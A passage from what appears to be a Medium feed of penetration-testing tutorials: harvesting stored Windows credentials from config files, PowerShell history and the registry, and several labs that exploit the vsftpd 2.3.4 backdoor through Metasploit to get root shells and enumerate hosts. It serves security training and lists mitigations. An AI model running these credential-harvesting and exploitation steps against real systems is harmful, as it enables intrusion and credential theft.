intended outcome. Here’s how you can verify successful exploitation and confirm the effectiveness of the exploit:</p><p>Check for Elevated Privileges: After running the exploit code, check whether you have gained elevated privileges, such as root access, on the target machine.</p><ul><li>You can do this by running commands that require elevated privileges, such as viewing sensitive system files (/etc/passwd,/etc/shadow) or executing commands that are restricted to privileged users.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PAhBY8iR5JOBQG9V2IR3NA.png" /></figure><p>Now let&#39;s check whether there are any flags or not. To find any.txt, the command is (find. -name flag1.exe). In the below screenshot, it is showing /home/matt/flag1.txt. so lets go and grab it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*WguXF9E4jm5P1KT3sHZatQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*yDxpeoBhYMSvBqmsO_fNGQ.png" /></figure><p>Here are the mitigations for kernel exploits presented in bullet point format:</p><ul><li>Regular Patching and Updates:</li><li>Least Privilege Principle:</li><li>Kernel Hardening Techniques:</li><li>Use of Runtime Security Mechanisms:</li><li>Robust logging and monitoring:</li><li>Regular security audits and assessments:</li><li>Security Training and Awareness:</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bda4f091fe45" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Harvesting Passwords from Usual Spots on Windows System]]></title>
            <link>https://medium.com/@marufrigan9/harvesting-passwords-from-usual-spots-on-windows-system-c866208b003b?source=rss-9a3eec16e161------2</link>
            <guid isPermaLink="false">https://medium.com/p/c866208b003b</guid>
            <category><![CDATA[windows-privilege-esc]]></category>
            <category><![CDATA[password-security]]></category>
            <category><![CDATA[windows-priv-escalation]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[windows-password]]></category>
            <dc:creator><![CDATA[Maruf Farhan Rigan]]></dc:creator>
            <pubDate>Tue, 23 Apr 2024 17:16:32 GMT</pubDate>
            <atom:updated>2024-04-23T17:16:32.994Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/351/1*SjRchdmHAoMopqSbynEdvg.jpeg" /></figure><p>Windows privilege escalation refers to techniques attackers use to gain more control over a computer system than their initial access allows. Imagine a user with basic permissions trying to become an administrator.</p><p><strong>Unattended Windows Installations</strong></p><p>Administrators can use Windows Deployment Services to install Windows on a large number of hosts. This service enables a single operating system image to be distributed to multiple computers over a network. Because they do not require any intervention from the user, these kinds of installations are referred to as unattended installations. These kinds of installations necessitate the utilization of an administrator account to carry out the initial configuration, which may end up being saved on the computer in the following locations:</p><p><em>C:\Unattend.xml<br>C:\Windows\Panther\Unattend.xml<br>C:\Windows\Panther\Unattend\Unattend.xml<br>C:\Windows\system32\sysprep.inf<br>C:\Windows\system32\sysprep\sysprep.xml</em></p><p>As part of these files, you might encounter credentials:</p><p><em>&lt;Credentials&gt;<br> &lt;Username&gt;Administrator&lt;/Username&gt;<br> &lt;Domain&gt;thm.local&lt;/Domain&gt;<br> &lt;Password&gt;MyPassword123&lt;/Password&gt;<br>&lt;/Credentials&gt;</em></p><p>When a user executes a command using Powershell, the command is saved in a file that maintains a memory of previous commands that the user has executed.If a user runs a command that includes a password directly as part of the Powershell command line, it can later be retrieved by using the following command from a cmd.exe prompt:</p><p>type <strong>%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q9yeE62lN4WGhS59gB-sDA.png" /></figure><p>To read the file from PowerShell, you’d have to replace %userprofile% with $Env:userprofile.</p><p><strong>IIS Configuration</strong></p><p>Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called web.config and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:</p><p><em>C:\inetpub\wwwroot\web.config</em></p><p><em>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config</em></p><p>Here is a quick way to find database connection strings on the file:</p><p><strong>type “C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_dX-1FnC4apD9WGoX1beqQ.png" /></figure><p><strong>Saved Windows Credentials</strong><br>Windows allows us to use other users’ credentials. This function also gives the option to save these credentials on the system. The command below will list saved credentials:</p><p><strong>cmdkey /list</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/840/1*qa2J7e5o1UEmknenFqrwzw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WHekr3HPCYYpNvaLsgTZ8A.png" /></figure><p>While you can’t see the actual passwords, if you notice any credentials worth trying, you can use them with the runas command and the /savecred option, as seen below.</p><p><strong>runas /savecred /user:admin cmd.exe</strong></p><p>we need to check whether there is a flag.txt or not. on desktop, there is a flag.txt so we need to go to the desktop directory</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3HX8O7-vBmOrLXSVebPK8g.png" /></figure><p><strong>Retrieve Credentials from Software: PuTTY</strong><br>PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection’s parameters every single time, users can store sessions where the IP, user and other configurations can be stored for later use. While PuTTY won’t allow users to store their SSH password, it will store proxy configurations that include cleartext authentication credentials.</p><p>To retrieve the stored proxy credentials, you can search under the following registry key for ProxyPassword with the following command:</p><p>reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f “Proxy” /s</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qz9HpWwnmd19kN9Cvdjvkw.png" /></figure><p>There are several ways to mitigate Windows privilege escalation, making it harder for attackers to exploit your system. Here are some key strategies:</p><ul><li><strong>Least privilege principle:</strong> This is the foundation of secure systems. Grant users only the minimum privileges they need to perform their tasks. Regularly review user accounts and remove unnecessary access.</li><li><strong>Patch and update software:</strong> Many privilege escalations exploit known vulnerabilities in software. Keep your operating system, applications, and firmware up to date with the latest security patches.</li><li><strong>Strong passwords and Multi-Factor Authentication (MFA):</strong> Enforce strong password policies and require Multi-Factor Authentication (MFA) for privileged accounts. MFA adds an extra layer of security by requiring a second verification step beyond just a password.</li><li><strong>Application control:</strong> Consider using application control software to restrict users from running unauthorized programs. This can help prevent attackers from using malicious tools to escalate privileges.</li><li><strong>Monitor user activity:</strong> Monitor user activity, especially for privileged accounts, to detect any suspicious behavior that might indicate an escalation attempt.</li><li><strong>Regular security assessments:</strong> Conduct regular vulnerability scans and penetration testing to identify and address weaknesses in your system before attackers can exploit them.</li><li><strong>User education:</strong> Train users about social engineering tactics and phishing attacks that attackers might use to gain initial access to a system. Educate them on best practices for secure password management and avoiding suspicious links or attachments.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c866208b003b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How To Enumerate Network Information in Linux]]></title>
            <link>https://medium.com/@marufrigan9/how-to-enumerate-network-information-in-linux-d2f8156f0193?source=rss-9a3eec16e161------2</link>
            <guid isPermaLink="false">https://medium.com/p/d2f8156f0193</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[enumeration]]></category>
            <dc:creator><![CDATA[Maruf Farhan Rigan]]></dc:creator>
            <pubDate>Tue, 26 Mar 2024 13:00:38 GMT</pubDate>
            <atom:updated>2024-03-26T13:00:38.553Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U9S1V_zLbbNWpnryYn_d3A.jpeg" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FKZlSiBIkYv0%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DKZlSiBIkYv0&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FKZlSiBIkYv0%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/e7eebde459fda1c417add5eab8aac825/href">https://medium.com/media/e7eebde459fda1c417add5eab8aac825/href</a></iframe><p>Enumerating network information on Linux is the process of manually gathering details about your system’s connection to the network. This involves using built-in commands to discover:</p><ul><li><strong>Your IP address and network interfaces:</strong> This tells you how your device identifies itself on the network and how it connects (e.g., wired, wireless).</li><li><strong>Connected devices and network routes:</strong> You can see what other devices are on your network and how your data travels to reach different destinations.</li><li><strong>Open ports and running services:</strong> This helps understand what programs are listening for incoming connections, which can be useful for troubleshooting or security purposes.</li></ul><p>By manually performing this enumeration, you gain a deeper understanding of your network environment and can diagnose any connectivity issues you might encounter.</p><p><strong>Step 1:</strong> Open the lab link to access the Kali terminal instance</p><p><strong>Step 2:</strong> Identify the target IP address</p><p>To begin with you will need to identify the target system’s IP address, this can be done by running the following command:</p><p><strong>Command:</strong></p><pre>ifconfig</pre><p>As shown in the following screenshot, locate the IP address associated with the<strong>eth1</strong>interface, the target IP address is the next IP within the subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nu9Lsyua0RmWvJNg.png" /></figure><p>In this case the Kali Linux IP is <strong>192.198.70.2</strong> so the target IP will be <strong>192.198.70.3</strong>.</p><p><strong>Note:</strong> In your case the IP address will be different, ensure that you substitute the IP in your lab environment with the one shown below.</p><p><strong>Step 3:</strong> Port scanning with Nmap</p><p>Now that we have identified the target IP address, we can perform a port scan to identify vulnerable services running on the target system. This can be done by running the following command:</p><p><strong>Command:</strong></p><pre>nmap -sV 192.198.70.3</pre><p>The Nmap scan reveals that the target has an FTP server running on port 21. The version column from the Nmap scan reveals that the FTP server is<strong>vsftpd 2.3.4</strong>. This version of<strong>vsftpd</strong>is vulnerable to a backdoor command execution vulnerability and can be exploited with a Metasploit module.</p><p><strong>Step 4:</strong> Gaining access</p><p>Now that we have identified the vulnerable service running on the target, we can start the Metasploit Framework console (msfconsole) by running the following command:</p><p><strong>Command:</strong></p><pre>msfconsole</pre><p>We can now load the appropriate exploit module by running the following command:</p><p><strong>Command:</strong></p><pre>use exploit/unix/ftp/vsftpd_234_backdoor</pre><p>We will now need to configure the module options, more specifically the target IP address, this can be done by running the following command:</p><p><strong>Command:</strong></p><pre>set RHOSTS 192.198.70.3</pre><p>We can now run the module by running the following command:</p><p><strong>Command:</strong></p><pre>exploit</pre><p>As shown in the following screenshot, if the exploit runs successfully, we will be provided with a command shell session with<strong>root</strong>privileges on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*9SvO6rfndshD2FBT.png" /></figure><p>Because the command shell session is non-interactive, we will need to spawn a <strong>bash</strong> session, this can be done by running the following command:</p><p><strong>Command:</strong></p><pre>/bin/bash -i</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/0*AKmE2570UJuJt2qY.png" /></figure><p>You can also obtain a <strong>meterpreter</strong> session on the target system by upgrading the command shell session. This can be done by running the following commands:</p><p><strong>Command:</strong></p><pre>CTRL + Z</pre><p><strong>Command:</strong></p><pre>sessions -u 1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2D3QPOrnkTS1Dnl0.png" /></figure><p>As shown in the preceding screenshot, upgrading the command shell to a <strong>meterpreter</strong> session is successful and we can now interact with the target system via the <strong>meterpreter</strong> session with a <strong>SESSION ID</strong> of 2.</p><p><strong>Command:</strong></p><pre>sessions 2</pre><p><strong>Step 5:</strong> Enumerating network information</p><p>Now that we have gained access to the target system and have obtained a <strong>meterpreter</strong> session, we can begin enumerating network information from the target system.</p><p>The first piece of information that we can enumerate is the list of network interfaces connected to the target system and their respective IP addresses, this can be done by running the following <strong>meterpreter</strong> command:</p><p><strong>Command:</strong></p><pre>ifconfig</pre><p>As shown in the following screenshot, the target system has one physical interface (eth0) a loopback interface (lo) for local connections and a virtual interface (ip_vti0).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/0*zSSfPATbof9LrPr3.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/0*4RLThg5g3HeH-7Y8.png" /></figure><p>We can get a list of open ports on the target system by running the following <strong>meterpreter</strong> command:</p><p><strong>Command:</strong></p><pre>netstat</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BgjfJBLCDtGs42cc.png" /></figure><p>Another important piece of information to obtain is the routing table, this can be done by running the following command:</p><p><strong>Command:</strong></p><pre>route</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/0*J4BEIXJnlyGeS2w-.png" /></figure><p>As shown in the preceding screenshot, this will give you an idea of all the routes available and will also display the default gateway address.</p><p>This information can also be gathered manually by spawning a shell session and running the following commands:</p><p><strong>Command:</strong></p><pre>ip a s</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tWMfLD-JR2sBvwk7.png" /></figure><p>As shown in the preceding screenshot, this command will display the list of network interfaces connected to the target system.</p><p>We can also enumerate the list of configured networks and their subnets by running the following command:</p><p><strong>Command:</strong></p><pre>cat /etc/networks</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/0*ja8JtHfxhp4BBejb.png" /></figure><p>Most importantly, we can enumerate the list of locally mapped domains and their respective IP addresses by displaying the content of the <strong>/etc/hosts</strong> file.</p><p><strong>Command:</strong></p><pre>cat /etc/hosts</pre><p>As shown in the following screenshot, this file reveals that the<strong>victim-1</strong>hostname is mapped to the target IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/0*uZdOLKy_YraiVNzl.png" /></figure><p>In order to identify the default DNS name server address, we can run the following command:</p><p><strong>Command:</strong></p><pre>cat /etc/resolv.conf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/0*CYIPRKVluvZQBpZ3.png" /></figure><h3>Conclusion</h3><p>In this lab, we explored the process of enumerating network information from a target system running Linux.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d2f8156f0193" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ultimate Guide to Linux User Enumeration (For Beginners & Pros!)]]></title>
            <link>https://medium.com/@marufrigan9/ultimate-guide-to-linux-user-enumeration-for-beginners-pros-ae13797fd636?source=rss-9a3eec16e161------2</link>
            <guid isPermaLink="false">https://medium.com/p/ae13797fd636</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Maruf Farhan Rigan]]></dc:creator>
            <pubDate>Mon, 25 Mar 2024 15:44:10 GMT</pubDate>
            <atom:updated>2024-03-25T15:44:10.450Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*Lm_VOQLDV__GlDmqdlyi2g.jpeg" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FG59EZ9GTNYE%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DG59EZ9GTNYE&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FG59EZ9GTNYE%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c81cc7bf803b7737319422e83d45071b/href">https://medium.com/media/c81cc7bf803b7737319422e83d45071b/href</a></iframe><p><strong>Why it Matters:</strong></p><p>Enumerating users and groups is a fundamental step in penetration testing because it unlocks critical information about a system’s security posture. Here’s why:</p><ul><li><strong>Identifying Potential Weaknesses:</strong> User accounts and groups define access levels and permissions. By identifying them, you can pinpoint accounts with excessive privileges, potentially vulnerable configurations, or inactive accounts that could be exploited by attackers.</li><li><strong>Crafting Targeted Attacks:</strong> Knowing the usernames and groups allows you to tailor your attacks. You can attempt brute-force attacks against weak passwords or exploit vulnerabilities specific to certain user privileges.</li><li><strong>Understanding the Attack Surface:</strong> By mapping user accounts and groups, you gain a comprehensive picture of the system’s attack surface, including potential entry points and areas requiring additional scrutiny.</li></ul><p><strong>Step 1:</strong> Open the lab link to access the Kali terminal instance</p><p><strong>Step 2:</strong> Identify the target IP address</p><p>To begin with you will need to identify the target system’s IP address, this can be done by running the following command:</p><p><strong>Command:</strong></p><pre>ifconfig</pre><p>As shown in the following screenshot, locate the IP address associated with the<strong>eth1</strong>interface, the target IP address is the next IP within the subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*bV-C8RnNJK_oaoFd.png" /></figure><p>In this case the Kali Linux IP is <strong>192.72.78.2</strong> so the target IP will be <strong>192.72.78.3</strong>.</p><p><strong>Note:</strong> In your case the IP address will be different, ensure that you substitute the IP in your lab environment with the one shown below.</p><p><strong>Step 3:</strong> Port scanning with Nmap</p><p>Now that we have identified the target IP address, we can perform a port scan to identify vulnerable services running on the target system. This can be done by running the following command:</p><p><strong>Command:</strong></p><pre>nmap -sV 192.72.78.3</pre><p>The Nmap scan reveals that the target has an FTP server running on port 21. The version column from the Nmap scan reveals that the FTP server is<strong>vsftpd 2.3.4</strong>. This version of<strong>vsftpd</strong>is vulnerable to a backdoor command execution vulnerability and can be exploited with a Metasploit module.</p><p><strong>Step 4:</strong> Gaining access</p><p>Now that we have identified the vulnerable service running on the target, we can start the Metasploit Framework console (msfconsole) by running the following command:</p><p><strong>Command:</strong></p><pre>msfconsole</pre><p>We can now load the appropriate exploit module by running the following command:</p><p><strong>Command:</strong></p><pre>use exploit/unix/ftp/vsftpd_234_backdoor</pre><p>We will now need to configure the module options, more specifically the target IP address, this can be done by running the following command:</p><p><strong>Command:</strong></p><pre>set RHOSTS 192.72.28.3</pre><p>We can now run the module by running the following command:</p><p><strong>Command:</strong></p><pre>exploit</pre><p>As shown in the following screenshot, if the exploit runs successfully, we will be provided with a command shell session with<strong>root</strong>privileges on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*L6x_hXZKJi5pu-um.png" /></figure><p>Because the command shell session is non-interactive, we will need to spawn a <strong>bash</strong> session, this can be done by running the following command:</p><p><strong>Command:</strong></p><pre>/bin/bash -i</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/0*4dFecgxKxpD8zEwi.png" /></figure><p>You can also obtain a <strong>meterpreter</strong> session on the target system by upgrading the command shell session. This can be done by running the following commands:</p><p><strong>Command:</strong></p><pre>CTRL + Z</pre><p><strong>Command:</strong></p><pre>sessions -u 1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*m80f1-DtpTyTQB-S.png" /></figure><p>As shown in the preceding screenshot, upgrading the command shell to a <strong>meterpreter</strong> session is successful and we can now interact with the target system via the <strong>meterpreter</strong> session with a <strong>SESSION ID</strong> of 2.</p><p><strong>Command:</strong></p><pre>sessions 2</pre><p><strong>Step 5:</strong> Enumerating users &amp; groups</p><p>Now that we have gained access to the target system and have obtained a <strong>meterpreter</strong> session, we can begin enumerating the users &amp; groups on the target system.</p><p>The first piece of information that we can enumerate is the current user we have access to, this can be done by running the following <strong>meterpreter</strong> command:</p><p><strong>Command:</strong></p><pre>getuid</pre><p>As shown in the following screenshot, we currently have access to the target system as the<strong>root</strong>user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/0*rcqZ921UO2hVyKsy.png" /></figure><p>We can also obtain the same information manually by running the following command in a command shell session:</p><p><strong>Command:</strong></p><pre>shell</pre><p><strong>Command:</strong></p><pre>/bin/bash -i</pre><p><strong>Command:</strong></p><pre>whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*EmYTL5Ln1U3h_9Li.png" /></figure><p>Now that we have identified the user account we have access to, we can enumerate the groups that the <strong>root</strong> user is a prt of, this can be done by running the following command:</p><p><strong>Command:</strong></p><pre>groups root</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/462/0*E5CSRwnmGKAY1tGU.png" /></figure><p>We can get a list of other user and service accounts on the Linux system by running the following command:</p><p><strong>Command:</strong></p><pre>cat /etc/passwd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*goE_MMNjQdyLjTPY.png" /></figure><p>We can enumerate a list og groups present on the system by running the following command:</p><p><strong>Command:</strong></p><pre>groups</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/0*1jFDJRZxIxVNV1Q_.png" /></figure><p>We can view the users that are currently logged in by running the following command:</p><p><strong>Command:</strong></p><pre>who</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/0*8R1ehye5eh-Pdiqp.png" /></figure><p>As shown in the preceding screenshot, no users are currently logged on via a console or remotely via SSH.</p><p>We can also get a list of users of have recently logged in to the system by running the following command:</p><p><strong>Command:</strong></p><pre>lastlog</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/0*E818J1qMEiEslk-b.png" /></figure><h3>Conclusion</h3><p>In this lab, we explored the process of enumerating users &amp; groups on a target system running Linux.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae13797fd636" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Art of Linux Local Enumeration: A Hands-on Exploration]]></title>
            <link>https://medium.com/@marufrigan9/the-art-of-linux-local-enumeration-a-hands-on-exploration-0e47d870490e?source=rss-9a3eec16e161------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e47d870490e</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity-training]]></category>
            <dc:creator><![CDATA[Maruf Farhan Rigan]]></dc:creator>
            <pubDate>Mon, 25 Mar 2024 13:01:42 GMT</pubDate>
            <atom:updated>2024-03-25T13:01:42.511Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*77XEKv2weRDQluaHbVgEUA.jpeg" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FruIJzVgg1-c%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DruIJzVgg1-c&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FruIJzVgg1-c%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/92598df9fbaf23573b6e41691a1d4a99/href">https://medium.com/media/92598df9fbaf23573b6e41691a1d4a99/href</a></iframe><p>In the world of cybersecurity, understanding a system’s details is crucial. Local enumeration on Linux is the process of gathering information about a Linux system you already have access to. This information can include:</p><ul><li><strong>Operating System Details:</strong> Version, kernel version, architecture (32-bit or 64-bit)</li><li><strong>Running Services:</strong> What programs are currently running and what they do.</li><li><strong>User Accounts:</strong> Who has access to the system and what permissions they have.</li><li><strong>Installed Software:</strong> What programs are installed and their versions.</li></ul><p>This information is valuable for tasks like:</p><ul><li><strong>Penetration Testing (Ethical Hacking):</strong> Identifying vulnerabilities in the system to improve its security.</li><li><strong>Security Audits:</strong> Assessing the overall security posture of a Linux system.</li></ul><p>By understanding the system better, you can find weaknesses and take steps to fix them, ultimately making the system more secure.</p><p><strong>Step 1:</strong> Open the lab link to access the Kali terminal instance</p><p><strong>Step 2:</strong> Identify the target IP address</p><p>To begin with you will need to identify the target system’s IP address, this can be done by running the following command:</p><p><strong>Command:</strong></p><pre>ifconfig</pre><p>As shown in the following screenshot, locate the IP address associated with the<strong>eth1</strong>interface, the target IP address is the next IP within the subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/0*vEnlaPlJCPXKtPx9.png" /></figure><p>In this case the Kali Linux IP is <strong>192.178.80.2</strong> so the target IP will be <strong>192.178.80.3</strong>.</p><p><strong>Note:</strong> In your case the IP address will be different, ensure that you substitute the IP in your lab environment with the one shown below.</p><p><strong>Step 3:</strong> Port scanning with Nmap</p><p>Now that we have identified the target IP address, we can perform a port scan to identify vulnerable services running on the target system. This can be done by running the following command:</p><p><strong>Command:</strong></p><pre>nmap -sV 192.178.80.3</pre><p>As shown in the following screenshot, the Nmap scan reveals that the target has an FTP server running on port 21. The version column from the Nmap scan reveals that the FTP server is<strong>vsftpd 2.3.4</strong>. This version of<strong>vsftpd</strong>is vulnerable to a backdoor command execution vulnerability and can be exploited with a Metasploit module.</p><p><strong>Step 4:</strong> Gaining access</p><p>Now that we have identified the vulnerable service running on the target, we can start the Metasploit Framework console (msfconsole) by running the following command:</p><p><strong>Command:</strong></p><pre>msfconsole</pre><p>We can now load the appropriate exploit module by running the following command:</p><p><strong>Command:</strong></p><pre>use exploit/unix/ftp/vsftpd_234_backdoor</pre><p>We will now need to configure the module options, more specifically the target IP address, this can be done by running the following command:</p><p><strong>Command:</strong></p><pre>set RHOSTS 192.178.80.3</pre><p>We can now run the module by running the following command:</p><p><strong>Command:</strong></p><pre>run</pre><p>As shown in the following screenshot, if the exploit runs successfully, we will be provided with a command shell session with<strong>root</strong>privileges on the target system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*x4t_ODOEYjW3YxrC.png" /></figure><p>Because the command shell session is non-interactive, we will need to spawn a <strong>bash</strong> session, this can be done by running the following command:</p><p><strong>Command:</strong></p><pre>/bin/bash -i</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/0*ZWjn2nSEqrgfz6S_.png" /></figure><p>You can also obtain a <strong>meterpreter</strong> session on the target system by upgrading the command shell session. This can be done by running the following commands:</p><p><strong>Command:</strong></p><pre>CTRL + Z</pre><p><strong>Command:</strong></p><pre>sessions -u 1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JaM3EhGlgxf1cojv.png" /></figure><p>As shown in the preceding screenshot, upgrading the command shell to a <strong>meterpreter</strong> session is successful and we can now interact with the target system via the <strong>meterpreter</strong> session with a <strong>SESSION ID</strong> of 2.</p><p><strong>Command:</strong></p><pre>sessions 2</pre><p><strong>Step 5:</strong> Enumerating system information</p><p>Now that we have gained access to the target system and have obtained a <strong>meterpreter</strong> session, we can begin enumerating local system information.</p><p>The first piece of information that we can enumerate is the Linux distribution and the OS architecture, this can be done by running the following <strong>meterpreter</strong> command:</p><p><strong>Command:</strong></p><pre>sysinfo</pre><p>As shown in the following screenshot, the command displays the Linux distro and release version in addition to the OS architecture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/0*XY3SG4d8vz686INh.png" /></figure><p>We can enumerate the hostname of the system by spawning a shell session and running the following commands:</p><p><strong>Command:</strong></p><pre>shell</pre><p><strong>Command:</strong></p><pre>/bin/bash -i</pre><p><strong>Command:</strong></p><pre>hostname</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/0*uFG1XyOWJnThc0tt.png" /></figure><p>We can also identify the Linux distro name and release version manually by running the following commands:</p><p><strong>Command:</strong></p><pre>cat /etc/issue</pre><p><strong>Command:</strong></p><pre>cat /etc/*release</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/0*z9ffLQBiDA26iNgR.png" /></figure><p>As shown in the preceding screenshot, we have now been able to conclusively identify that the target system is running <strong>Debian 9 Stretch</strong>.</p><p>The next piece of information we will need to identify is the version of the Linux kernel running on the target. This can be done by running the following command:</p><p><strong>Command:</strong></p><pre>uname -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*K341p9fomyIRpe37.png" /></figure><p>As shown in the preceding screenshot, the version of the Linux kernel running on the target system is <strong>5.4.0–94</strong>. This information is vry useful as it can be used to identify kernel exploits for this specific version of the Linux kernel that can be used to elevate our privileged if required.</p><p>We can identify hardware information regarding the CPU being used on the target system by running the following command:</p><p><strong>Command:</strong></p><pre>lscpu</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/0*IzABb84JqkWiM3cm.png" /></figure><p>We can view the list of storage devices attached to the Linux system and information regarding their respective mount points and storage capacity by running the following command:</p><p><strong>Command:</strong></p><pre>df -h</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/0*4ek2j6vcc8h7MTfn.png" /></figure><h3>Conclusion</h3><p>In this lab, we explored the process of enumerating local system information from a target system running Linux.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e47d870490e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Automate Windows Local Enumeration]]></title>
            <link>https://medium.com/@marufrigan9/how-to-automate-windows-local-enumeration-7d4881008ecb?source=rss-9a3eec16e161------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d4881008ecb</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting-lab]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[windows-pentesting]]></category>
            <dc:creator><![CDATA[Maruf Farhan Rigan]]></dc:creator>
